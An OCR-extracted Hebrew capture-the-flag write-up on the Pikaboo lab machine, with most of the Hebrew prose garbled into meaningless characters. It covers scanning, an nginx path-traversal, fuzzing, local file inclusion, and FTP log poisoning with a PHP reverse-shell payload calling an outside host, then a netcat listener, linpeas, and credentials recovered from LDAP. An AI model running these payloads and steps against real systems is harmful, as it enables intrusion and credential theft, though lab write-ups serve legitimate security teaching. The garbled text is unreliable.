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https://www.digitalwhisper.co.il/files/Zines/0x01/DW1-1-PrivilegeEscalation.pdf

Technologic

Connection

:NTIPON DX Y2 ,0vpn YaI7n DX T

openvpn vpn file.ovpn

NNIRY 21721 [on NXY7 .(10.10.10.249) Nmdnn 7w ip-n DK 7271 .N'N190 NwY? "annn? nan 7y
:NVIYD ping N7 T2 NWY1 27 .N11DNN DY TWPNT7 D71D'1 DNAINN DR
@ ~

ing 10.10.10.249
PING 10.10.10.249 (10.10.10.249) 56(84) bytes of data.

64 bytes from 10.10.10.249: icmp seq=1 ttl=63 time=159 ms
64 bytes from 10.10.10.249: icmp seq=3 ttl=63 time=170 ms
64 bytes from 10.10.10.249: icmp seq=4 ttl=63 time=172 ms

12'NNN7 AWON |'Pn 700 ,nwd lope
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|'"yn yTn TIYI DY 0'¥Y D'0'AN0 NT'X ,0'NINS D'OIS NIXN7 *TD> Mipbnn v nmap N0 DIt

7TV e

TNX2Q 12ITA ,NYYA7 .0'2¥NA NYIA ,0'NIN'WI 0'0NI9 1727 wnwnn VT 9I0'X7 '72 XIN - nmap
/N2 nmap NITYA .NITN 7720 VIXY'A DY ,07101 21NN X7 OX N1 D720 021NN D700
D'0YIdI (12D ,0'T7N YT N'7V 7277 221 QI7N7 DX 13X DNIX NN 7 1970 D710 YYA7
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NTIPON DX YN
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https://nmap.org/
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XRXINN N'RN] )OI

imap 10.10.10.249
Starting Nmap 7.91 ( https://nmap.org ) at 202
Nmap scan report for 10.10.160.249
Host is up (0.075s latency).
Not shown: 65532 closed ports
PORT  STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9pl Debian 10+debl@u2 (protocol 2.0)
| ssh-hostkey:
| 2048 17:el:13:Te:66:6d:26:b6:90:68:d0:30:54:2e:e2:97 (RSA)
| 256 92:86:54:f7:cc:5a:1a:15:fe:chb:09:cc:e5:7c:0d:c3 (ECDSA)
| 256 f4:cd:67:3b:19:9c:cf:33:c6:6d:a5:13:6a:61:01:42 (ED25519)
80/tcp open http nginx 1.14.2
| http-server-header: nginx/1.14.2
| http-title: Pikaboo
Service Info: 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

:D'NIND D'VID 3 XML NPNIoN 72V '7DN0)

(Dawnn |2 0'¥ap NAYN7 MIYEN 7171009 RIN) ftp-21 0119 e

PNNN 2wWNNn 7Y NI7IY9 VI TWONNN DAYNN MIYPNT7 NLVAIRA 71710109) ssh - 22 0119 e
(niInTTn 7NN NKY

(OnX N9 N7 W X)) http-80 0119 e

FTP - Anonymous Login

112'0N .anonymous:password :7TNn N1 Wnnwn oy I'78 7 anNnY? no1n ,ftp-n DX 21T ,N'UKRN
NIND NTN YNNWNN DX DIRYN D'WIN D'AYSY7 X 1IN

@ ~

10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)

Name (10.10.10.249:root): anonymous
331 Please specify the password.
Password:

530 Login incorrect.

Login failed.

..NVIY'N KIQN DUNY DYIN DYIY X7
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Authentication Required - Mozilla Firefox

249 is requesting your username and password. The site says: “Authentication

User Name:
Pa d:

Cancel

X71 ,"admin:admin” 0'd0%7 DNO 'M'01 .WPIANN qT7 11AY7 "D XNO'0l YNNWN OW YUpan INKN

:NQN ARAWN DX 'M72' X ,010n7 'MNY7XN

© 4 10.10.10.249 N 0O @

Unauthorized

This server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or
your browser doesn't understand how to supply the credentials required.

Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 81

MIYY 27 M'YUN DN :"yn INYn N9 NPy 1'N* 'Y TN X .70 DINTTN NRAY - 119 7Y
W72 M0 1NIX ?X7 1M Ny 07 .81 01191 apache MW 'Y WAIN TIMYNW NIXY? TIWOX NINNKRD
DA NN Inginx 7701 NINW [YU NIWN — DMDIT DNX DX nmMap 7¢ NN'RoN NRXINA 77511 80 VNI9Y

.yInan 11a0 7701 n'n 81 vISY

2'vni MIdnN W N'naon nmivpyna V19N reverse proxy-2 ¥in'v |[Xd nWyiw p'on‘7 AYON |[NXON

D'TTIANNA 1IX NXIN 720,81 VLA |'TXNY 'M"19N N7 80 VI NYIANY N1IIX'NN mivpnn NX

ProxyPass
to 127.0.0.1:81

Attacker

D INYn ny

MNGINX Apache
[listen 10.10.10.249:80] [listen on 127.0.0.1:81)

2V D'¥1 07D .(apache-l nginx ,openssh ,vsftpd) D'nN'wn 75 W nikoNan 7y 'mNay nt 27w

N7VIN 10N KIN 'anig exploit w19'nw > ,0N7¢ NI NINDTYN NIKONAN
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QNI IR NIND W' 0w HackTricks AMNRT M2 07,7y X7 'M'0w 12T 20 ,NIXY TAIK 'T'N'n N1 27w

...A1'IXN2 DIN 20 I NP0 7D

DY2IN D70 72V MNRA 'NOWW Wi L(HTTP NNw) nginx DY Y1 INKRN D 11'K) hmap-n D702
:NQN |"MIYN NN 'MINYN 2 nginx-2

https://book.hacktricks.xyz/pentesting/pentesting-web/nginx#alias-Ifi-misconfiguration

;NN [9IXA nginx 7 NtY1A191170 Yalza 2'NaY alias 1'Ta1 DNW 1anon

location /imgs {

alias /path/images/

}

INQD [9IXA 17K Wi gl

/imgs../flag.txt

:X2N 91X URI-N NX 2D NwN

/path/images/../flag.txt

NYPAN ¢ NAIERn RMY YN yalg wary 27 nnaw nn

/path/flag.txt

lwww-n NP7 YINn 0'¥277 NI L,NIWNN 0'901 0¥ WA 18 Qpin ,NTh 91K

IFuzzing n'71x!

NIY¥NNRI NWAT 721X D'D011 D1*IyN DY 17'K7 217271 NI017 'MUY7NN L [*2Yn DX 'MIANY NRY7

Iwfuzz NTYA DY"IYN D'¥A7 DY WONAE NIINK DNK NN Y72 admin-n .70 q1op1n

-7 7> XIN .NIN'YN NITYA 010X NI YN ,NINO0I D'YA7 (13D ,IN0IN [2IN YI9'NT7 173 - wfuzz
yai7 0'o'omn ,"FUZZ"-2 Nt NX 17 NIYY?7 N¥N NNXY url-2 101190 NX DA ,17'V2 brute force

.7 197 DN''7V 121V Xini wordlist

797 n¥ N ANINUrlNAMdN-u e
url PAIMDA 1791 KA DIPAN KIN-FUZZ e
D'77AN R NP NIANY NN - W @

200 Y DNW NXNN responses 7277 NXN1-sc o
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https://book.hacktricks.xyz/
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Technologic

XN N7 I

7 http://10.10.10.249/admin. ./FUZZ Jusr/share/wordlists/dirb/big
ib/python3/dist-pac z_z.a’__init_ py:34: UserWarning:Pycurl is not compiled ag

* Wfuzz 3.1.0 - The : ZZer

o o o ok sk o o ok sk ok o skt ok ok ok ok sk ok ok ok o ok ok ok sk o ok skok ok sk sk o ok sk sk ok ok sk ok ok sk ok ok sk sk ok Rk ok
Target: http://10.10.10.249/admin. ./FUZZ

Total requests: 20469

ID

000016215: 200

Total time: @

Processed Requests: 20469
Filtered Requests: 20468
Requests/sec.: 0

:NAIMDA yalg w'w 1Ay
http://10.10.10.249/admin../server-status

D2ININ NX NNAY HTML 9T avin .Dwn 7@ 0WINan 1N271 y1n? 70ms7 virm 1Ux 91 1am
NNMIP NI¥2 NIYWN 7Y D'00'VLVOoN

© £ 10.10.10.249

Apache Server Status for 127.0.0.1 (via 127.0.0.1)

Server Version: Apache/2.4.38 (Debian)
Server Built: 2021-06-10T10:13:06

Current Time: Wednesday, 25-Aug-2021 13:03:42 BST
Restart Time: Wednesday, 25-Aug-2021 13:00:06 BST
Parent Server Config. Generation: 1

Parent Server MPM Generation: 0

Server uptime: 3 minutes 36 seconds

Server load: 0.13 0.06 0.01

Total accesses: 39 - Total Traffic: 1.7 MB

CPU Usage: u.21 s0 cu0 cs0 - .0972% CPU load

.181 requests/sec - 7.9 kB/second - 44.0 kB/request

1 requests currently being processed, 4 idle workers

Scoreboard Key:

" "'Waiting for Connection, "s" Starting up, "r" Reading Request,
"W" Sending Reply, "k" Keepalive (read), "o" DNS Lookup,

"¢" Closing connection, "." Logging, "¢" Gracefully finishing,

"1" Idle cleanup of worker, "." Open slot with no current process

SrvPID Acc M CPU SS Req Conn Child Slot Client  VHost Request

0-0671 0/8/8_ 0.054 0 0.0 0.23 0.23127.0.0.1localhost:81 GET /admin_staging HTTP/1.1
1-06720/8/8_ 0.002 0 0.0 0.04 0.04127.0.0.1 localhost:81 GET /admin/../server-status HTTP/1.0
2-06730/8/8 001110 0.0 0.13 0.13127.0.0.1localhost:81 GET /admin/../server-status HTTP/1.0
3-0674 0/6/6 WO0.130 0 0.0 1.08 1.08127.0.0.1localhost:81 GET /admin/../server-status HTTP/1.0
4-06750/9/9 0027 0 0.0 0.19 0.19127.0.0.1 localhost:81 GET /admin/../server-status HTTP/1.0
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http://10.10.10.249/admin../server-status

Technologic

:INQN MWD X NXD1 210 27 D'W1 DX .NIY7 NIYRA NMI00D 7w 770 W 0T yala

GET /admin staging HTTP/1.1

D'XN 12NN INDIN2 W' 0'¥ap 17'K NIKNY D01 IR ,admin_staging WA TINY IX N"?'N W'Y 12'7'2

:TTO1 DNMINRY D'¥APN 17X 271 ,php Nooian WMNRN 7w Ndwnnw

@ -~
http://10.10.10.249/admin. ./admin staging/FUZZ.php /usr/share/wordlists/dirb/big. txt 200
/usr/lib/python3/dist-packages/wfuzz/ init .py:34: UserWarning:Pycurl is not compiled against Openssl. Wfu
k Wfuzz's mentation for more information.

* Wfuzz 3.1.0 - The Web Fuzzer

S o o ok o ok R R kR ok STIIILL

Target: http://10.10.10.249/admin. ./admin_staging/FUZZ.php
Total requests: 20469

Response Lines

000005721 1218 W 25205 Ch “dashboard"
000009563 2267 W 40554 Ch “index"
000009618: 4235 W 71653 Ch "info"

CREATIVE TIM Dashboard H he -
Dashboard 7
| ers :
User Profile 49/50 75 +245
GB
Table List 9
A Ge 8
Typography

FTP Uploads Email Subscriptions Completed Tasks
155

Tasks: 3 BUGS <> WEBSITE @ SERVER

g 2

371N IR WWROW 127 'Mnwi Profile User Tmy%7 'mwan anxa 7w 01o'wn 17002 .© n'oan kM
INQN 91X I'7XR WA DN DT TINYY

http://10.10.10.249/admin../admin_staging/index.php?page=user.php
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IPath Traversal-7 Da 17'9X "7IX1 ,LFI-7 7X'X1019 [XD W' DWIN NWIY

7V (PHP-2 include [112) QT7 yalj7 N91X¥N WX N'X71i192 NYANYAY NDIVA TWXD 11DN X7¥ 7 i1 nxjz

JIIDNN X7 RN NNOANY D'¥2A7 (Y07 N7 DIA7 NIOI7 [N ,[12'0 X712 NXT NYIY ¥nnwnin 077 0'01

.NINX DN'7X NYA7 N71D' (09710 N1A) 117 N'N X7W YT IX D'7¥NN7 NYA7 1021 ,[y0Iy

V10N TINY7 0ina7 9221 ," "1 /7 0'unn 7y (13'0 ['X WYX 17¥17 [Nl LFl 7w '019 N1j7n 13'N Path Traversal

.N'NJI1 N'Y7'N2 0'XXN] D1'XY 0'XY27 [lJlU'? DA O'Y2/7

:N2N 2'MIN DX 0'101 7wn7 DR

http://10.10.10.249/admin../admin_staging/index.php?page=../../../etc/passwd

NW2A7 NI etc N'7'M7 010107 DN NKY?I NIFRP'AN YV 27una NN 3 NdY7%7 wr'- 1019NNn AT AN

.passwd yalj??

NIXT NOPNN Ta1D N1an NO Y' K11 .AXR"AY ']'1'71'|7 - YJIP'? NWA? 'M'0 TWUND X ,N71uNn 120N

INNTN NIANN DX Q1j7V7 NON

YNNYnn n9'pn 1IVRI7? NION'NN 12 'M'RY Y'Non 91X LLFI 7¥ wona n7w aInRN INK? 171 27

Yalj?? n1017 071> 11NIX 7w NN 2y NINS DA NpnaY NN - vsftpd-n Dw 9w naita

ftp-2a ni'von nmivon NX nIww log yale Nt ./var/log/vsftpd.log

% 10.10.10.249

User Profile

Table List

Typography

Thu Jul 8 17:17:47 2021 [pid 14106] CONNECT: Client ":ffff:10.10.14.6" Thu Jul 8 17:17:47 2021 [pid 14106] FTP response
Client ":ffff:10.10.14.6", "220 (vsFTPd 3.0.3)" Thu Jul 8 17:17:49 2021 [pid 14106] FTP command: Client ":ffff:10.10.14.6",
USER anonymous” Thu Jul 8 17:17:49 2021 [pid 14106] [anonymous] FTP response: Client ":ffff:10.10.14.6", "331 Please
specify the password." Thu Jul 8 17:17:49 2021 [pid 14106] [anonymous] FTP command: Client ":ffff:10.10.14.6", "PASS " Thu
Jul 8 17:17:49 2021 [pid 14105] [anonymous] FAIL LOGIN: Client ":ffff:10.10.14.6" Thu Jul 8 17:17:50 2021 [pid 141 06]
[anonymous] FTP response: Client ":ffff:10.10.14.6%, "530 Login incorrect." Thu Jul 8 17:17:50 2021 [pid 14106] FTP | A
command: Client ":ffff:10.10.14.6", "SYST" Thu Jul 8 17:17:50 2021 [pid 14106] FTP response: Client ":ffff:10.10, 14.6";’53@
Please login with USER and PASS" Thu Jul 8 17:18:25 2021 [pid 14106] FTP command: Client ":ffff:10.10.14.6", "QUIT" Thu
Jul 8 17:18:25 2021 [pid 14106] FTP response: Client ":ffff:10.10.14.6", "221 Goodbye." Thu Jul 8 17:18:26 2021 [pid 14650]
CONNECT: Client ":ffff:10.10.14.6" Thu Jul 8 17:18:26 2021 [pid 14650] FTP response: Client ":ffff:10.10.14.6", "220 (vsFTPd
8.0.3)" Thu Jul 8 17:18:29 2021 [pid 14650] FTP command: Client ":ffff:10.10.14.6", "USER Oxdf* Thu Jul 8 17:18:31 2021 [pid
14650] FTP command: Client ":ffff:10.10.14.6, "SYST" Thu Jul 8 17:18:31 2021 [pid 14650] FTP response: Client
[:ffff:10.10.14.6", "530 Please login with USER and PASS." Thu Jul 8 17:18:50 2021 [pid 14650] FTP command: Client
[:ffff:10.10.14.6", "QUIT" Thu Jul 8 17:18:50 2021 [pid 14650] FTP response: Client ":ffff:10.10.14.6", "221 Goodbye." Thu Jul 8
17:18:51 2021 [pid 14652] CONNECT: Client ":ffff:10.10.14.6" Thu Jul 8 17:18:51 2021 [pid 14652] FTP response: Client
[:ffff:10.10.14.6%, "220 (vsFTPd 3.0.3)" Thu Jul 8 17:19:05 2021 [pid 14652] FTP command: Client ":ffff:10.10.14.6", "SYST"
Thu Jul 8 17:19:05 2021 [pid 14652] FTP response: Client ":ffff:10.10.14.6", "530 Please login with USER and PASS" Thu Jul 8
17:28:56 2021 [pid 19919] CONNECT: Client ":ffff:10.10.14.14" Thu Jul 8 17:28:56 2021 [pid 19919] FTP response: Client
[:ffff:10.10.14.14", "220 (vsFTPd 3.0.3)" Thu Jul 8 17:30:37 2021 [pid 21009] CONNECT: Client ":ffff:10.10.14.6" Thu Jul 8
17:30:37 2021 [pid 21009] FTP response: Client ":ffff:10.10.14.6", "220 (vsFTPd 3.0.3)" Thu Jul 8 17:30:42 2021 [pid 21009]
FTP command: Client ":ffff:10.10.14.6", "USER pwnmeow" Thu Jul 8 17:30:42 2021 [pid 21009] [pwnmeow] FTP response:
Client ":ffff:10.10.14.6", "331 Please specify the password.” Thu Jul 8 17:30:44 2021 [pid 21009] [pwnmeow] FTP command
Client ":ffff:10.10.14.6", "PASS " Thu Jul 8 17:30:44 2021 [pid 21008] [pwnmeow] FAIL LOGIN: Client ":ffff:10.10.14.6" Thu Jul 8
17:30:45 2021 [pid 21009] [pwnmeow] FTP response: Client ":ffff:10.10.14.6", "530 Login incorrect" Thu Jul 8 17:30:45 2021
[pid 21009] FTP command: Client ":ffff:10.10.14.6", "SYST" Thu Jul 8 17:30:45 2021 [pid 21009] FTP response: Client
[:ffff:10.10.14.6", "530 Please login with USER and PASS." Thu Jul 8 17:30:49 2021 [pid 21009] FTP command: Client
[:ffff:10.10.14.6", "QUIT™ Thu Jul 8 17:30:49 2021 [pid 21009] FTP response: Client "ffff:10.10.14.6", "221 Goodbye." Thu Jul 8
17:30:50 2021 [pid 21011] CONNECT: Client ":ffff:10.10.14.6" Thu Jul 8 17:30:50 2021 [pid 21011] FTP response: Client
[:ffff:10.10.14.6%, "220 (vsFTPd 3.0.3)" Thu Jul 8 17:30:53 2021 [pid 21011] FTP command: Client ":ffff:10.10.14.6", "USER
pwnmeow" Thu Jul 8 17:30:53 2021 [pid 21011] [pwnmeow] FTP response: Client *:ffff:10.10.14.6", "331 Please specify the

10
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https://www.acunetix.com/blog/articles/local-file-inclusion-lfi/
https://book.hacktricks.xyz/pentesting-web/file-inclusion#via-vsftpd-logs
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RCE AS USER

NITIPO Y¥17 712 QIN N'97 NopPNN MID ,7INN TIj7 Vi (remote code execution 7w ix'y?) RCE

ANKN INYM 7w awnna 71NN

718 NIYXNN NRT NIYYY 72000 DWUIN AWIY [XDL,I19127 N 721 Tz XN A'wn? 01T nMn v

Iftp-n MW 7w D170 DX XNP'7 D210 NNIRY DTAIVN

N97Nn7 0NA7 N 7y .LFI niv'aon reverse shell 2'win7 'T> D'wnnwn N2 Nj7'100 - Log Poisoning
[NIX [IYO7 NI017I ftp-n N 7w log yal? Ni'ATr NINIwY 0'2207 N'7¥N7 0'DNY 1INIX TIAV7

.27 D717 IXXNY LFI-N NIY'A9 NIYXYAX2

TINT NIWYYT T .reverse shell A'wn? 1> ANXA php T TA% AT NIWYYT D710 INIRY NN L7v1921

:NWN DY 112N 127 NXIY ATIPO YW XA TIpn NN DY

exec ( ) &

2211 'X TN ftp-N WNNWN ¢ NINNO'ON NIX 11T |'RY X'N N'YAN .A170 Yalza 72Inw'? N0 NNixI

DAl ,YNNYNN DY D'071W 1ININY 190,01V NN X7 NINTY INON 2172 200 IX'YND OX 772nNnY

NN7X X7 NINANNNN YWXD 17'9X 12N KIN
© AN7x N7 219K |

% view-source:http://10.10.10.249/admin../admin_staging/index.php?page=/var/

<div class="main-panel">
Thu Jul 8 17:17:47 2021 [pid 14106] CONNECT: Client "::ffff:10.10.14.6"
Thu Jul 8 17:17:47 2021 [pid 14166] FTP response: Client "::ffff:10.10.14.6", “220 (vsFTPd 3.0.3)"
Thu Jul 8 17:17:49 2021 [pid 14106] FTP command: Client "::ffff:10.10.14.6", "USER anonymous"
Thu Jul 8 17:17:49 2021 [pid 14106] [anonymous] FTP response: Client "::ffff:10.10.14.6", "331 Please specify the password."
Thu Jul 8 17:17:49 2021 [pid 14106] [anonymous] FTP command: Client "::ffff:10.10.14.6", “PASS <password>"
Thu Jul 8 17:17:49 2021 [pid 14105] [anonymous] FAIL LOGIN: Client "::ffff:10.10.14.6"
Thu Jul 8 17:17:50 2021 [pid 14106] [anonymous] FTP response: Client "::ffff:10.10.14.6", "530 Login incorrect.”
Thu Jul 8 17:17:56 2021 [pid 14106] FTP command: Client "::ffff:10.10.14.6", "SYST"
Thu Jul 8 17:17:50 2021 [pid 14106] FTP response: Client "::ffff:10.10.14.6", "530 Please login with USER and PASS."
Thu Jul 8 17:18:25 2021 [pid 14166] FTP command: Client " fff:10.10.14.6", "QUIT"
Thu Jul 8 17:18:25 2021 [pid 14106] FTP response: Client "::ffff:10.10.14.6", "221 Goodbye."
Thu Jul 8 17:18:26 2021 [pid 146560] CONNECT: Client "::ffff:10.10.14.6"
Thu Jul 8 17:18:26 2021 [pid 14650] FTP response: Client "::ffff:10.10.14.6", "220 (vsFTPd 3.0.3)"
Thu Jul 8 17:18:29 2021 [pid 14656] FTP command: Client "::ffff:10.10.14.6", "USER Oxdf"
Thu Jul 8 17:18:31 2021 [pid 14650] FTP command: Client "::ffff:10.10.14.6", "SYST"
Thu Jul 8 17:18:31 2021 [pid 14650] FTP response: Client ffff:10.10.14.6", "530 Please login with USER and PASS."
Thu Jul 8 17:18:50 2021 [pid 14656] FTP command: Client "::ffff:10.10.14.6", "QUIT"
Thu Jul 8 17:18:560 2021 [pid 14656] FTP response: Client "::ffff:10.10.14.6", "221 Goodbye."
Thu Jul 8 17:18:51 2021 [pid 14652] CONNECT: Client "::ffff:10.10.14.6"
Thu Jul 8 17:18:51 2021 [pid 14652] FTP response: Client "::ffff:10.10.14.6", "220 (vsFTPd 3.0.3)"
Thu Jul 8 17:19:05 2021 [pid 14652] FTP command: Client "::ffff:10.10.14.6", "SYST"
Thu Jul 8 17:19:05 2021 [pid 14652] FTP response: Client "::ffff:10.10.14.6", "530 Please login with USER and PASS."
Thu Jul 8 17:28:56 2021 [pid 19919] CONNECT: Client "::ffff:10.10.14.14"
Thu Jul 8 17:28:56 2021 [pid 19919] FTP response: Client "::ffff:10.10.14.14", "220 (vsFTPd 3.0.3)"
Thu Jul 8 17:30:37 2021 [pid 21009] CONNECT: Client "::ffff:10.10.14.6"
Thu Jul 8 17:30:37 2021 [pid 21009] FTP response: Client ffff:10.10.14.6", "220 (vsFTPd 3.0.3)"
Thu Jul 8 17:30:42 2021 [pid 21009] FTP command: Client "::ffff:10.10.14.6", "USER pwnmeow"
Thu Jul 8 17:30:42 2021 [pid 21009] [pwnmeow] FTP response: Client "::ffff:10.10.14.6", "331 Please specify the password."
Thu Jul 8 17:30:44 2021 [pid 21009] [pwnmeow] FTP command: Client “::ffff:10.10.14.6", "PASS <password>"
Thu Jul 8 17:30:44 2021 [pid 21008] [pwnmeow] FAIL LOGIN: Client "::ffff:10.10.14.6"
Thu Jul 8 17:30:45 2021 [pid 21009] [pwnmeow] FTP response: Client "::ffff:10.10.14.6", "530 Login incorrect."”
Thu Jul 8 17:30:45 2021 [pid 21009] FTP command: Client "::ffff:10.10.14.6", "SYST"
Thu Jul 8 17:30:45 2021 [pid 21009] FTP response: Client ffff:10.10.14.6", "530 Please login with USER and PASS."
Thu Jul 8 17:30:49 2021 [pid 21609] FTP command: Client "::ffff:10.10.14.6", "QUIT"
Thu Jul 8 17:30:49 2021 [pid 21009] FTP response: Client "::ffff:10.10.14.6", "221 Goodbye."
Thu Jul 8 17:30:50 2021 [pid 21011] CONNECT: Client "::ffff:10.10.14.6"
Thu Jul 8 17:30:50 2021 [pid 21011] FTP response: Client "::ffff:10.10.14.6", "220 (vsFTPd 3.0.3)"
Thu Jul 8 17:30:53 2021 [pid 21011] FTP command: Client "::ffff:10.10.14.6", "USER pwnmeow"
Thu Jul 8 17:30:53 2021 [pid 21011] [pwnmeow] FTP response: Client "::ffff:10.10.14.6", “331 Please specify the password."
Thu Jul 8 17:31:01 2021 [pid 21011] [pwnmeow] FTP command: Client "::ffff:10.10.14.6", "PASS <password>"
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7Y TIPN DX 'T 7Y WNnNwn DYUN DX Yizan RInwd ftp-n IR N1 Nyd

Q ~

ftp 10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
Name (10.10.10.249:root): <?php exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.83/5555 0>&1'"); 7>
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp> ~Z
zsh: suspended ftp 10.10.10.249

:netcat N1Tv2 listener NN91 7'apna

-~

‘ 5555
Eistening on [any] 5555 ...

IMMwn Dy 1IN 17 W X791 X790 ...1 NN INIR NN9] YA 19Y TIpn DR DTHYW INKY

5555

listening on [any] 5555 ...
connect to [10.10.14.83] from (UNKNOWN) [10.10.10.249] 40482

-N MY 7¥ NIXYINN DY D'¥) DNIX WD, MWD 72V 17w TI yin'? nn7xn niwxd? ,© o arx

.Apache

Privilege Escalation

Ya1D .root WNNWNN 7¢ NIXWINN DY NITIRO YNn7 N*72¥n7 ¥l ,nwn v shell n7apun ,nyd

Jinpeas.sh nwa 251 wnNwa |57 NIRT NIWYT 'R VIN Q¥R 17'9X 17 'R

WYY WX N2 NI DAEN7Y9NN NI 7V YT 12N 17 (NI AWK 09170 Y27 X - linpeas.sh

NI NINIAA NIXYIN 7277 D'DT XIXA'7 127 TV7

LNNIR PN0Y 721 TD MDY NN 11ayn? 10X 17w awnn? linpeas NN NTINY INXR7 N'WURD
-1 VIYS http NOW DAY 7211 (vpn) N1PAN OY TN N'MI5N NYIN N2 D'RYN INIRY [N
.python

e ~/Downloads
http.server 8080

Serv1ng HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/)
i
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https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

:wget NTIPON NIYXNKA N7 YaIPN DX TI1NIDNAY 771 pn nxY?

www-data@pikaboo:/tmp$ wget http://10.10.14.120:8080/1inpeas.sh
wget http://10.10.14.120:8080/1inpeas.sh

--2021-89-13 16:37:49-- http://10.10.14.120:80808/1inpeas.sh
Connecting to 10.10.14.120:8080... connected.

HTTP request sent, awaiting response... 200 0K

Length: 458110 (447K) [text/x-sh]

Saving to: ‘linpeas.sh’

linpeas.sh 1 e —— -] 447.37K  550KB/s in 0.8s
2021-09-13 16:37:49 (550 KB/s) - ‘linpeas.sh’ saved [458110/458110]

YalPn NX Y™ ™ chmod NTYa N¥IN NINWOK yal? X1 ,minnn 2y linpeas 117 W AWK ,NYd

X2 N2TN DX AR NIRXINND 7V 1)
Ports
LISTEN

0.0.0.0:80 10.0.0:% LISTEN 544/nginx: worker p
.81 .0.0.0:* LISTEN i

.0
0.0.0.0:22 .0.0.0:* LISTEN -
:::80 e LISTEN 544/nginx: worker p
ci:21 I LISTEN -
11122 I LISTEN

Idap service-7 1"'Y KINY NIRT1 01N01'RA WON1 DX NINS 389 VISV NIXT7 TWONR

NN YT ANKR71 P07 nn 7y TCP/IP MIWpENN 717101091 wnnwn TWKR nwRa 2171009 10T - Idap
*T* 7 LDAP 112N MW 7R N9 NIRY7N WWURD ,NIR7/NY 7y 0o1an LDAP 7w 7Timn .01ima niMso
112'N N7YON L,7wNn7 . MYY N1V NIwpa NIW? 2100 NHphn [pn NX71,389 011D DY NYWY? NNANNN

.0V IX D'U|7"1IN'7 NP'NN IR 'N'Y  NO90IN ,NXRIYN ,UI9'N ,UNNYN NIN'R VIX ,N0AINN

NYITIN N71V9N NIX YX27 2"N MWD DN INKRYIE VX7 DIX1AYW A71V90 DIX NIRYD 1 Tan gl

JUNAY IX NIRYINN NIX 079100 NN 'Thn MWD N NNY '"MTNAa

:github V7'M W'Y NIXT? TWON qona

Analyzing Github Files (limit 70)

drwxr-xr-x 4 root root 4096 May 19 12:04 /opt/pokeapi/

/opt/pokeapi n"'j7'n'? 0101

www-data@pikaboo: /opt/pokeapis 1s
1s
CODE_OF CONDUCT.md README.md data pokemon_v2

CONTRIBUTING.md Resources docker-compose.yml requirements.txt
CONTRIBUTORS. txt __init .py graphqgl test-requirements.txt
LICENSE.md apollo.config.js gunicorn.py.ini

Makefile config manage.py
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27 .01DM X7 "V DWTNN N0NANY NIKY NN pokeapi-7 nWTN N0 7V D'TAIVY NIKYY TWONX

© ..nTIann 7N N1 72K 9D wnn X7 w0 YT KIxn?i 0rapn v 1ayt non

:ldap-7 ninannn 'S 1IRXN settings.py Yaljpa config n'7'na

DATABASES = {

"ldap": {
"ENGINE": "ldapdb.backends.ldap",
"NAME": "ldap:///",
"USER": "en=binduser,ou=users,dc=pikaboo,dc=htbh",
"PASSWORD": "J~42%W7PFH1]g",

b

"default”: {
"ENGINE": "django.db.backends.sqlite3",
"NAME": "/opt/pokeapi/db.sglite3",

NIV .hacktricks ...NWA7 AWOX NO'R7 DWTI' 12D DNX ,NNANNNN '019 DX N7 Y'Y AR TN
Idap 7w

https://book.hacktricks.xyz/pentesting/pentesting-ldap#ldapsearch

:NNAN NTIRON 'S 7V NIdN] 0'WNNWN 7177 NINWON 117 W' INRN 197

ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -Db
"CN=Users, DC=<1 SUBDOMAIN>, DC=<TDL>"

NTIRON DX YN D'M0NN D'0YSN DX X'7m

ldapsearch -D "cn=binduser, ou=users,dc=pikaboo,dc=htb" -w
'J~42%W?PFH1]g' -b 'dc=pikaboo,dc=htb'

0790 NXN1 D Ty ATl

dn: uid=pwnmeow,ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: inetOrgPerson

objectClass: posixAccount

objectClass: shadowAccount

uid: pwnmeow

cn: Pwn

sn: Meow

loginShell: /bin/bash

uidNumber: 10000

gidNumber: 10000

homeDirectory: /home/pwnmeow

userPassword:: X0cwdFQOXOMOAGNIXyczbV8ObEwhXw==

JDTTINA X' NIRNYT? "WORY ,XN0'0N NIXI ,pwnmeow WNNWNN DY NX 17 W'
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https://book.hacktricks.xyz/
https://book.hacktricks.xyz/pentesting/pentesting-ldap#ldapsearch

Technologic

NTNNNAN DX TTIR7 INY92 TAN) 20 NN ,Baseb4-1 NaImw wna7? 7 ™) "=="-2 N1nal1 nrnnnn

TN

"X0cwdFQOXOMOdGNIXyczbV80bEwhXw==.decode (base6t4)

:079n N1l

_GOtT4_CatcH_'3m_4IL_

JINI22 DN NIRWINN NIR D'XN NN 2'901 K7 TV 0T 72X [pwnmeow wnnwn'? nwia 17 vt
N7uon7 DXNY D'71>' D'YNNYNY D'09170 IX NIDIN [N - crontab .7'vo crontab ' linpeas '97

.N790N NDWN7 UTIN 22 NN [IDTY NIYYYT crontab-2 wNnNWN'? TWON 7wun? .0"'9'¥90 0'Inm

Yalpn N X7 L(DNIK Y'Y wnnwnn) DnY D'van ¢ nnvaxk NN Dy DY Jobs-n

(¥ 0N AT NND 21 NITIR9N NN NIX 710N VOV Yal?) /etc/crontab

www-data@pikaboo:/$ cat etc/crontab

cat etc/crontab

# /etc/crontab: system-wide crontab

# Unlike any other crontab you don't have to run the ‘crontab’

# command to install the new version when you edit this file

# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
minute (0 - 59)
hour (0 - 23)
day of month (1 - 31)
month (1 - 12) OR jan,feb,mar,apr ...
- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat

* user-name command to be executed
; root cd / && run-parts --report /etc/cron.hourly
root test -x /usr/sbin/anacron || ( cd / & run-parts --report /etc/cron.daily )
